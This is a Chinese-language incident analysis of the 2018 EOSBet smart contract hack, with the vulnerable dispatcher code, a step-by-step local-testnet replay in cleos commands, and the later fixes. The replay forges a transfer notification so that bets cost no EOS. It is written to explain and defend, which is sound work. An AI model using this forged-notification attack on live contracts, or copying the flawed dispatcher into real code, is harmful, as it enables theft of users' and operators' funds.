Hi Guest

More contents, please log on!

Bitmere.com 区块链技术 Content
本文所有过程均在本地测试节点完成
文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis
0x00 背景
EOSBet在9月14日遭到黑客攻击,根据EOSBet官方通告,此次攻击共被盗44,427.4302 EOS(折合人民币160万,9月14日价格)。

0x01 技术分析
由于EOSBet代码并未开源,但官方复盘攻击事件后给出了EOSIO_ABI
// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
extern "C" { \
        void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
                auto self = receiver; \
                if( action == N(onerror)) { \
                        /* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \
                        eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \
                } \
                if( code == self || code == N(eosio.token) || action == N(onerror) ) { \
                        TYPE thiscontract( self ); \
                        switch( action ) { \
                                EOSIO_API( TYPE, MEMBERS ) \
                        } \
                /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
                } \
        } \
}
通过官方给出的EOSIO_ABI,问题主要出在以下代码
if( code == self || code == N(eosio.token) || action == N(onerror) ) { \
                        TYPE thiscontract( self ); \
                        switch( action ) { \
                                EOSIO_API( TYPE, MEMBERS ) \
                        } \
                }
该合约对action进行转发的时候仅仅验证了code == self(调用者必须是该合约本身,即eosbetdice11)和code == N(eosio.token)(调用者必须是eosio.token)。从这里看似乎是验证了只有合约本身和eosio.token可以调用合约函数。
但是,开发者忽略了这一点。如果A合约直接向B合约发起一个transaction调用B合约的函数,那么本质上是B合约自身完成函数调用,也就是说任何合约都可以调用eosbetdice11合约中abi暴露的函数。
黑客可以直接调用eosbetdice11合约中的transfer函数,即不用消耗任何EOS来玩EOSBet,输了不赔赢了稳赚。
0x02 攻击复盘
创建eosio.token账户
cleos create account eosio eosio.token EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV
部署eosio.token合约并初始化
# 部署合约
cleos set contract eosio.token /home/user/contracts/eosio.token -p eosio
# 初始化合约
cleos push action eosio.token create '[ "eosio", "1000000000.0000 EOS", 0, 0, 0]' -p eosio.token
创建游戏账户、开奖账户和攻击者账户
#创建游戏账户和开奖账户
cleos create account eosio eosbetdice11 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio eosbetcasino EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
#创建攻击者账户
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
设置账户随机权限和开奖权限
#设置权限
cleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p eosbetdice11@owner
cleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[]}' owner -p eosbetcasino@owner
#设置开奖权限
cleos set action permission eosbetcasino eosbetdice11 resolvebet random
向相关账户冲入代币
#往相关账户充值
cleos push action eosio.token issue '["attacker", "100000.0000 EOS", "memo"]' -p eosio@active
cleos push action eosio.token issue '["eosbetdice11", "100000.0000 EOS", "memo"]' -p eosio@active
![4.png]()
部署游戏合约并初始化
#部署游戏合约
cleos set contract eosbetdice11 /home/user/contracts/eosbetdice
#初始化游戏合约
cleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk"}' -p eosbetcasino
模拟黑客攻击(伪造转账通知)
cleos push action eosbetdice11 transfer '["attacker", "eosbetdice11", "10.0000 EOS", "66-attacker-"]' -p attacker
查询游戏订单
cleos get table eosbetdice11 eosbetdice11 activebets

可见,游戏订单已经生成,查询attacker和eosbetdice11账户

按照游戏规则,只有在支付了EOS后才能生成游戏,但是被黑客攻击后生成订单并没有消耗任何的EOS。
最后对该订单进行开奖。
cleos push action eosbetdice11 resolvebet '{"bet_id":"237902368081510060", "sig":"SIG_K1_K862MEbB45rMi9bvYRPbqA9F6tbrte9osUbZk3fUXXvsnf3zQRNdyYrunc4zhyQWUho2a4meho1k8kNvnrLLYdW1ge8kD1"}' -j -p eosbetcasino@random

总结,黑客伪造转账通知来玩游戏不消耗任何EOS,游戏成功即可获利,即使最后游戏失败也不会有任何损失。
0x03 后记
EOSBet随后将修复方案公开
// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
extern "C" { \
        void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
                auto self = receiver; \
                if( code == self || code == N(eosio.token)) { \
                        if( action == N(transfer)){ \
                                // 必须是eosio.token来调用合约自身的transfer函数
                                eosio_assert( code == N(eosio.token), "Must transfer EOS"); \
                        } \
                        TYPE thiscontract( self ); \
                        switch( action ) { \
                                EOSIO_API( TYPE, MEMBERS ) \
                        } \
                /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
                } \
        } \
}
可以看到,EOSBet官方给出的修复方案是仅有eosio.token合约可以调用transfer函数。官方修复后将代码开源到Gitlab,地址为https://gitlab.com/EOSBetCasino/eosbetdice_public,但是在整整一个月后又遭到了转账通知伪造攻击。欲知详情,请听下回分解:D
0x04 修复方案
零时科技安全专家建议,要防止转账通知伪造必须在处理转账交易时要验证以下内容:

通知是否来自eosio.token,即只处理eosio.token发送的通知
eosio_assert(code == N(eosio.token), "Must transfer from eosio.token");

转账发起人或者接受人是否是自己,即转账必须跟合约本身有关,不处理其他合约的转账通知
eosio_assert(transfer.from == _self || transfer.to == _self, "Must transfer from self or transfer to self");
BitMere.com is Information release platform,just provides information storage space services.
The opinions expressed are solely those of the author,Does not constitute advice, please treat with caution.
You have to log in before you can reply Login | 立即注册

Points Rules

Write the first review

蓝天天使2017 初中生
  • Follow

    0

  • Following

    0

  • Articles

    10

59600
Promoted